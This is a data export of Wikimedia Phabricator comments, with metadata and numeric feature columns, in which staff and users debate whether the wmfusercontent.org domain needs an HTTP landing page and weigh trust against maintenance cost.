527080,(www.)wmfusercontent.org should respond to HTTP,"There is nothing requiring http on wmfusercontent.org and I am not sure what would be the use case.

Since the whole domain can host any arbitrary file (per design) and is solely used for inclusion from other sites, there is no point in having a landing page here.  Human being are not sent to / ever.

As @bblack described, this task should just be declined imho.
",,,1442265267,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,1.0,0.0,0.0,4.0,3.0,8.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,8.0,9.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,6.0,1.0,3.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,9.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,1.0,3.9740259740259742,0.8571428571428571,"There is nothing requiring http on wmfusercontent.org and I am not sure what would be the use case.

Since the whole domain can host any arbitrary file (per design) and is solely used for inclusion from other sites, there is no point in having a landing page here.  Human being are not sent to / ever.

AsSCREEN_NAME described, this task should just be declined imho.
"
527072,(www.)wmfusercontent.org should respond to HTTP,"These are the kinds of things we've had to deal with over the past several months, most of which could've been avoided by and are a part of this larger philosophical problem, IMHO:

T101048 (we have 140+ junk redirect domains to deal with...)
T102815 (removed junk www subdomains from all the language wikis...)
T102814 (removed junk multi-level subdomains of wikipedia.org)
T102826 (as above for wikimedia.org)
T102827 (the special case of the oddball donate subdomain)
T107575 (problems caused by pointlessly aliasing a site from one domain to another)
T110511 (basically the same)
 
... And that's just the links I could dredge up quickly on the specific topic of pointless hostnames.  Look how long it took to resolve those of them that are even resolved.  Some will remain outstanding for months.  Some have taken up pages of discussions, helped induced critical bugs due the added complexities of working around them, wasted time pushing more changes through gerrit, etc.  The time burden wasted on these kinds of things is significant in the long run when they can hold up, detract from, or make more-complicated other work years into the future.",,,1442264847,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,1.6666666666666667,0.0,0.0,0.6666666666666666,0.0,8.0,1.0,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,1.0,0.0,4.0,12.0,0.0,1.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,1.0,0.3333333333333333,0.3333333333333333,3.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.6666666666666666,0.0,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,15.0,1.0,1.0,0.0,1.6666666666666667,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,5.0,1.6666666666666667,5.333333333333333,0.6666666666666666,1.3333333333333333,8.666666666666666,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,0.6666666666666666,0.0,2.6666666666666665,12.0,2.3333333333333335,0.0,0.0,0.0,2.6666666666666665,0.0,1.3333333333333333,0.6666666666666666,0.6666666666666666,1.3333333333333333,1.3333333333333333,0.3333333333333333,1.6666666666666667,4.131829492588987,0.7585199610516066,"These are the kinds of things we've had to deal with over the past several months, most of which could've been avoided by and are a part of this larger philosophical problem, IMHO:

T101048 (we have 140+ junk redirect domains to deal with...)
T102815 (removed junk www subdomains from all the language wikis...)
T102814 (removed junk multi-level subdomains of wikipedia.org)
T102826 (as above for wikimedia.org)
T102827 (the special case of the oddball donate subdomain)
T107575 (problems caused by pointlessly aliasing a site from one domain to another)
T110511 (basically the same)
 
... And that's just the links I could dredge up quickly on the specific topic of pointless hostnames.  Look how long it took to resolve those of them that are even resolved.  Some will remain outstanding for months.  Some have taken up pages of discussions, helped induced critical bugs due the added complexities of working around them, wasted time pushing more changes through gerrit, etc.  The time burden wasted on these kinds of things is significant in the long run when they can hold up, detract from, or make more-complicated other work years into the future."
527070,(www.)wmfusercontent.org should respond to HTTP,"These are the kinds of things I've had to deal with over the past several months, most of which could've been avoided by and are a part of this larger philosophical problem, IMHO:

T101048 (we have 140+ junk redirect domains to deal with...)
T102815 (removed junk www subdomains from all the language wikis...)
T102814 (removed junk multi-level subdomains of wikipedia.org)
T102826 (as above for wikimedia.org)
T102827 (the special case of the oddball donate subdomain)
T107575 (problems caused by pointlessly aliasing a site from one domain to another)
T110511 (basically the same)
 
... And that's just the links I could dredge up quickly on the specific topic of pointless hostnames.  Look how long it took to resolve those of them that are even resolved.  Some will remain outstanding for months.  Some have taken up pages of discussions, helped induced critical bugs due the added complexities of working around them, wasted time pushing more changes through gerrit, etc.  The time burden wasted on these kinds of things is significant in the long run when they can hold up, detract from, or make more-complicated other work years into the future.",,,1442264693,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,1.6666666666666667,0.0,0.0,0.6666666666666666,0.0,8.0,1.0,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,1.0,0.0,4.0,12.0,0.0,1.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,1.0,0.3333333333333333,0.3333333333333333,3.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.6666666666666666,0.0,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,15.0,1.0,1.0,0.0,1.6666666666666667,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,5.0,1.6666666666666667,5.666666666666667,0.6666666666666666,1.3333333333333333,8.666666666666666,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,0.6666666666666666,0.0,2.6666666666666665,12.0,2.3333333333333335,0.0,0.0,0.0,2.6666666666666665,0.0,1.3333333333333333,0.6666666666666666,0.6666666666666666,1.3333333333333333,1.3333333333333333,0.3333333333333333,1.6666666666666667,4.127610083306286,0.762739370334307,"These are the kinds of things I've had to deal with over the past several months, most of which could've been avoided by and are a part of this larger philosophical problem, IMHO:

T101048 (we have 140+ junk redirect domains to deal with...)
T102815 (removed junk www subdomains from all the language wikis...)
T102814 (removed junk multi-level subdomains of wikipedia.org)
T102826 (as above for wikimedia.org)
T102827 (the special case of the oddball donate subdomain)
T107575 (problems caused by pointlessly aliasing a site from one domain to another)
T110511 (basically the same)
 
... And that's just the links I could dredge up quickly on the specific topic of pointless hostnames.  Look how long it took to resolve those of them that are even resolved.  Some will remain outstanding for months.  Some have taken up pages of discussions, helped induced critical bugs due the added complexities of working around them, wasted time pushing more changes through gerrit, etc.  The time burden wasted on these kinds of things is significant in the long run when they can hold up, detract from, or make more-complicated other work years into the future."
527062,(www.)wmfusercontent.org should respond to HTTP,We seem to have come full circle... I'm still not convinced that it's worth spending more time discussing this than it would take to fix the issue!,,,1442264167,,PHID-USER-b54igy3ozftikuepd4t5,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,6.0,13.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,6.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.903225806451613,0.9354838709677419,We seem to have come full circle... I'm still not convinced that it's worth spending more time discussing this than it would take to fix the issue!
527051,(www.)wmfusercontent.org should respond to HTTP,"Why would anyone go there?  That hostname doesn't exist, and has never been linked anywhere.",,,1442263785,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9,1.0,"Why would anyone go there?  That hostname doesn't exist, and has never been linked anywhere."
527049,(www.)wmfusercontent.org should respond to HTTP,">>! In T104735#1639106, @BBlack wrote:
>>>! In T104735#1639085, @Mike_Peel wrote:
>>>>! In T104735#1639062, @BBlack wrote:
>>> But now we're off in the territory of human comfort levels, not software.  It's still meaningless for any real verification to populate non-existent related hostnames just for people to look at them and feel re-assured by something that has zero re-assurance value in the real world.
>> 
>> We could have a philosophical debate about whether software exists to provide comfort for humans or not, if that would help. ;-) But it might be simpler to just move this dependency to a *.wikimedia.org domain, or at least give it a http response?
> 
> It does have an HTTP response.  Go type `phab.wmfusercontent.org` into your browser.  As for simpler, that all depends on your point of view about the costs here.  I'm willing to waste time on this trivial issue because I want to reverse a trend that over time creates hundreds and thousands of little costs that seem simple up-front, but carry a long-term maintenance burden in the aggregate.

This ticket is about wmfusercontent.org . That doesn't have a HTTP response.",,,1442263623,,PHID-USER-b54igy3ozftikuepd4t5,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,37.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.8,0.5333333333333333,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This ticket is about wmfusercontent.org . That doesn't have a HTTP response."
527047,(www.)wmfusercontent.org should respond to HTTP,">>! In T104735#1639085, @Mike_Peel wrote:
>>>! In T104735#1639062, @BBlack wrote:
>> But now we're off in the territory of human comfort levels, not software.  It's still meaningless for any real verification to populate non-existent related hostnames just for people to look at them and feel re-assured by something that has zero re-assurance value in the real world.
> 
> We could have a philosophical debate about whether software exists to provide comfort for humans or not, if that would help. ;-) But it might be simpler to just move this dependency to a *.wikimedia.org domain, or at least give it a http response?

It does have an HTTP response.  Go type `phab.wmfusercontent.org` into your browser.  As for simpler, that all depends on your point of view about the costs here.  I'm willing to waste time on this trivial issue because I want to reverse a trend that over time creates hundreds and thousands of little costs that seem simple up-front, but carry a long-term maintenance burden in the aggregate.",,,1442263537,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,1.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,22.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,13.0,3.0,2.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,6.0,17.0,6.0,0.0,0.0,0.0,6.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,0.0,3.7555555555555555,0.7222222222222222,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It does have an HTTP response.  Go type CODE into your browser.  As for simpler, that all depends on your point of view about the costs here.  I'm willing to waste time on this trivial issue because I want to reverse a trend that over time creates hundreds and thousands of little costs that seem simple up-front, but carry a long-term maintenance burden in the aggregate."
527042,(www.)wmfusercontent.org should respond to HTTP,">>! In T104735#1639062, @BBlack wrote:
> But now we're off in the territory of human comfort levels, not software.  It's still meaningless for any real verification to populate non-existent related hostnames just for people to look at them and feel re-assured by something that has zero re-assurance value in the real world.

We could have a philosophical debate about whether software exists to provide comfort for humans or not, if that would help. ;-) But it might be simpler to just move this dependency to a *.wikimedia.org domain, or at least give it a http response?",,,1442263306,,PHID-USER-b54igy3ozftikuepd4t5,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,19.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,2.0,8.0,4.0,6.0,9.0,0.0,2.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,15.0,2.0,2.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,2.0,2.0,0.0,4.09433962264151,0.8490566037735849,"QUOTE
QUOTE

We could have a philosophical debate about whether software exists to provide comfort for humans or not, if that would help. ;-) But it might be simpler to just move this dependency to a *.wikimedia.org domain, or at least give it a http response?"
527038,(www.)wmfusercontent.org should respond to HTTP,"But now we're off in the territory of human comfort levels, not software.  It's still meaningless for any real verification to populate non-existent related hostnames just for people to look at them and feel re-assured by something that has zero re-assurance value in the real world.",,,1442262967,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,2.0,2.0,0.0,0.0,2.0,16.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,21.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,5.0,21.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,4.103448275862069,0.8448275862068966,"But now we're off in the territory of human comfort levels, not software.  It's still meaningless for any real verification to populate non-existent related hostnames just for people to look at them and feel re-assured by something that has zero re-assurance value in the real world."
527032,(www.)wmfusercontent.org should respond to HTTP,">>! In T104735#1639019, @BBlack wrote:
> Yeah but if you look closer, that example (en + bits) doesn't share anything but the trailing `.org`.  It's wiki**P**edia vs wiki**M**edia.  Similarly, all of our wikis under `wikipedia.org` also make hits at various times to e.g. `login.wikimedia.org` too.

I saw that before I replied. :-) We have meta.wikimedia.org, commons.wikimedia.org and other XX.wikimedia.org projects that provide confidence in the validity of that domain. Sure, it would be nice to use a single domain for everything, but Wikipedia vs. Wikimedia is a very different conversation!",,,1442262731,,PHID-USER-b54igy3ozftikuepd4t5,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,False,,,10,True,0.0,2.0,2.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,13.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,2.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,4.0,16.0,2.0,4.0,7.0,0.0,2.0,2.0,0.0,4.0,2.0,0.0,0.0,7.0,13.0,7.0,0.0,0.0,0.0,7.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,4.8545454545454545,0.8363636363636363,"QUOTE
QUOTE

I saw that before I replied. :-) We have meta.wikimedia.org, commons.wikimedia.org and other XX.wikimedia.org projects that provide confidence in the validity of that domain. Sure, it would be nice to use a single domain for everything, but Wikipedia vs. Wikimedia is a very different conversation!"
527026,(www.)wmfusercontent.org should respond to HTTP,">>! In T104735#1639009, @Mike_Peel wrote:
>>>! In T104735#1638960, @BBlack wrote:
>> The problem here is with people's perceptions mostly :/  It's a common pattern to use multiple domainnames to fetch sub-resources of a site.  Aside from the obvious examples like gstatic, even here we traditionally had every wiki page on e.g. en.wikipedia.org also loading resources from bits.wikimedia.org.
> 
> That example would be a great way forward: keep the domain names to a minimum, and use subdomains to point towards different servers. That way, there are minimal different domain names to verify, and there's the confidence in them provided by their use for the main projects. As an example: phabricator.wikimedia.org is far more trustworthy than wikimediaphabricator.org would be.

Yeah but if you look closer, that example (en + bits) doesn't share anything but the trailing `.org`.  It's wiki**P**edia vs wiki**M**edia.  Similarly, all of our wikis under `wikipedia.org` also make hits at various times to e.g. `login.wikimedia.org` too.",,,1442262498,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,2.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,18.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,5.0,13.0,12.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,3.6666666666666665,0.7666666666666667,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yeah but if you look closer, that example (en + bits) doesn't share anything but the trailing CODE.  It's wiki**P**edia vs wiki**M**edia.  Similarly, all of our wikis under CODE also make hits at various times to e.g. CODE too."
527022,(www.)wmfusercontent.org should respond to HTTP,">>! In T104735#1638960, @BBlack wrote:
> The problem here is with people's perceptions mostly :/  It's a common pattern to use multiple domainnames to fetch sub-resources of a site.  Aside from the obvious examples like gstatic, even here we traditionally had every wiki page on e.g. en.wikipedia.org also loading resources from bits.wikimedia.org.

That example would be a great way forward: keep the domain names to a minimum, and use subdomains to point towards different servers. That way, there are minimal different domain names to verify, and there's the confidence in them provided by their use for the main projects. As an example: phabricator.wikimedia.org is far more trustworthy than wikimediaphabricator.org would be.",,,1442262325,,PHID-USER-b54igy3ozftikuepd4t5,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,4.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,7.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,12.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,4.0,1.0,0.0,1.0,0.0,0.0,4.652777777777778,0.6944444444444444,"QUOTE
QUOTE

That example would be a great way forward: keep the domain names to a minimum, and use subdomains to point towards different servers. That way, there are minimal different domain names to verify, and there's the confidence in them provided by their use for the main projects. As an example: phabricator.wikimedia.org is far more trustworthy than wikimediaphabricator.org would be."
527003,(www.)wmfusercontent.org should respond to HTTP,"The problem here is with people's perceptions mostly :/  It's a common pattern to use multiple domainnames to fetch sub-resources of a site.  Aside from the obvious examples like gstatic, even here we traditionally had every wiki page on e.g. en.wikipedia.org also loading resources from bits.wikimedia.org.

The crux here is: how does one define whether these alternate domains are ""3rd party"" or legitimate?  There really is no good way to know that, although you could get heuristically close with whois lookups perhaps (which this case would pass muster on).  The bottom line is that the original site you visited (`phabricator.wikimedia.org`) sent you links to that ""third party"" domain (`phab.wmfusercontent.org`).  Either you trust that the original site is uncompromised and operates that way normally and accept it as functional and fine, or... well, there's really no other alternative.

The alternative is you wonder if `phab.wmfusercontent.org` is actually owned by some malicious third party and `phabricator.wikimedia.org` was somehow compromised into linking you there.  However, in that scenario, the malicious third party also controls what you're asking to see as verification: any other content also hosted at that malicious domain, which the attacker might fill in as ""Hey this is totally a legit site operated by the WMF"".  That aside, the arguments for `wmfusercontent.org` and/or `www.wmfusercontent.org` make no fundamental sense to begin with.  The links you're trying to investigate were to `phab.wmfusercontent.org`, which actually **does** load and show you a copy of the main phabricator site.  You can't just go invent other non-existent hostnames that happen to be in the same domain to do your verification with, that makes no fundamental sense.

At the root of it all, if you (or by extension, some browser extension?) thinks that heading to `https://wmfusercontent.org` really tells you *anything* useful that you want or need to know to validate something about our phab pages, you're mistaken.  There's no point in appeasing the mistaken and invalid assumptions of a small minority by introducing new hostnames and pages into our infrastructure.  This is one of many many examples of a historical pattern here at the WMF of defaulting to creating any and everything anyone ever asks for without regard to the utility of it or any kind of long-term cost:benefit analysis...",,,1442261699,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,1.8,0.8,0.2,0.6,0.2,8.4,1.2,0.0,0.2,0.4,1.8,0.8,0.2,0.0,0.6,0.6,0.4,5.8,12.8,0.8,2.0,0.0,0.0,0.0,1.2,0.8,0.0,0.0,0.4,0.2,0.0,6.0,1.6,0.8,0.0,3.0,0.0,0.6,1.0,0.4,1.0,0.0,0.0,1.8,0.2,0.0,0.0,0.2,0.0,12.6,1.2,1.6,0.2,0.8,0.2,0.2,0.2,0.0,0.0,0.0,0.4,0.6,0.0,0.8,0.0,0.2,0.0,5.0,2.6,5.2,2.0,3.2,9.8,0.0,0.2,0.0,0.0,4.0,0.4,0.2,0.0,4.8,12.8,2.8,0.4,1.2,0.0,4.8,0.0,1.4,1.2,0.0,1.8,0.0,0.0,0.0,4.1297435897435895,0.7505494505494505,"The problem here is with people's perceptions mostly :/  It's a common pattern to use multiple domainnames to fetch sub-resources of a site.  Aside from the obvious examples like gstatic, even here we traditionally had every wiki page on e.g. en.wikipedia.org also loading resources from bits.wikimedia.org.

The crux here is: how does one define whether these alternate domains are ""3rd party"" or legitimate?  There really is no good way to know that, although you could get heuristically close with whois lookups perhaps (which this case would pass muster on).  The bottom line is that the original site you visited (CODE) sent you links to that ""third party"" domain (CODE).  Either you trust that the original site is uncompromised and operates that way normally and accept it as functional and fine, or... well, there's really no other alternative.

The alternative is you wonder if CODE is actually owned by some malicious third party and CODE was somehow compromised into linking you there.  However, in that scenario, the malicious third party also controls what you're asking to see as verification: any other content also hosted at that malicious domain, which the attacker might fill in as ""Hey this is totally a legit site operated by the WMF"".  That aside, the arguments for CODE and/or CODE make no fundamental sense to begin with.  The links you're trying to investigate were to CODE, which actually **does** load and show you a copy of the main phabricator site.  You can't just go invent other non-existent hostnames that happen to be in the same domain to do your verification with, that makes no fundamental sense.

At the root of it all, if you (or by extension, some browser extension?) thinks that heading to CODE really tells you *anything* useful that you want or need to know to validate something about our phab pages, you're mistaken.  There's no point in appeasing the mistaken and invalid assumptions of a small minority by introducing new hostnames and pages into our infrastructure.  This is one of many many examples of a historical pattern here at the WMF of defaulting to creating any and everything anyone ever asks for without regard to the utility of it or any kind of long-term cost:benefit analysis..."
526986,(www.)wmfusercontent.org should respond to HTTP,">>! In T104735#1632982, @Ricordisamoa wrote:
>>>! In T104735#1632583, @BBlack wrote:
>> This seems to be satisfy pointless curiosity of users who look at a browser developer console and wonder about an internally-used domainname, then try a completely different hostname from that domain in their browser and get annoyed that it doesn't do anything?
> 
> I am one of them.

I came across this issue when I was trying to use an extension that restricted access to third-party domains when I accessed websites (see T104730, which might be a duplicate of this report or vice-versa?). It seemed odd that this website was linked to then, even more so since it didn't provide any information about what the URL was being used for by HTTP.

It would be trivial to add a splash page to the domain, or to redirect it appropriately - probably far less time than the discussion on these two tickets has taken up!",,,1442260939,,PHID-USER-b54igy3ozftikuepd4t5,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,False,,,10,True,1.0,0.0,0.0,2.0,1.0,2.5,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,8.5,11.5,0.0,2.0,0.0,1.0,0.0,4.5,0.0,0.0,1.5,0.5,1.0,0.0,1.0,0.5,3.0,1.5,0.0,0.5,0.5,1.0,0.0,0.0,0.0,0.0,2.0,1.5,1.0,0.0,0.5,0.0,10.0,0.0,2.5,0.5,1.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.5,0.0,4.5,4.0,7.5,2.5,1.5,8.0,0.0,0.0,1.0,0.0,5.0,0.0,1.0,0.0,4.5,11.5,3.5,0.5,0.0,0.0,4.5,0.0,3.0,2.0,0.0,0.5,1.5,0.0,0.0,3.834972677595628,0.8105191256830602,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I came across this issue when I was trying to use an extension that restricted access to third-party domains when I accessed websites (see T104730, which might be a duplicate of this report or vice-versa?). It seemed odd that this website was linked to then, even more so since it didn't provide any information about what the URL was being used for by HTTP.

It would be trivial to add a splash page to the domain, or to redirect it appropriately - probably far less time than the discussion on these two tickets has taken up!"
525714,(www.)wmfusercontent.org should respond to HTTP,">>! In T104735#1632583, @BBlack wrote:
> This seems to be satisfy pointless curiosity of users who look at a browser developer console and wonder about an internally-used domainname, then try a completely different hostname from that domain in their browser and get annoyed that it doesn't do anything?

I am one of them.",,,1442013313,,PHID-USER-je4a7kqdfgacwkyhtg4c,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.6,0.9,"QUOTE
QUOTE

I am one of them."
525637,(www.)wmfusercontent.org should respond to HTTP,">>! In T104735#1632564, @Krinkle wrote:
> https://phab.wmfusercontent.org is served with a wildward certificate. So we do have one. And phab.wmfusercontent.org is served from varnish/misc so presumably the certificates is already installed as well.

Again, this issue has nothing to do with HTTPS/TLS issues.  It's all fine on that level, yes.

> Pointing wmfusercontent.org there would solve this I think. Given the below works:
>  
> ```
> $ curl 'https://phab.wmfusercontent.org' -H 'Host: wmfusercontent.org'
>> ... Error: 404, Domain not served here ..
> ```
> 
> It's not forensic proof, but it's a courtesy to our users. (Perhaps akin to <https://www.gstatic.com> or <https://googleapis.com>)

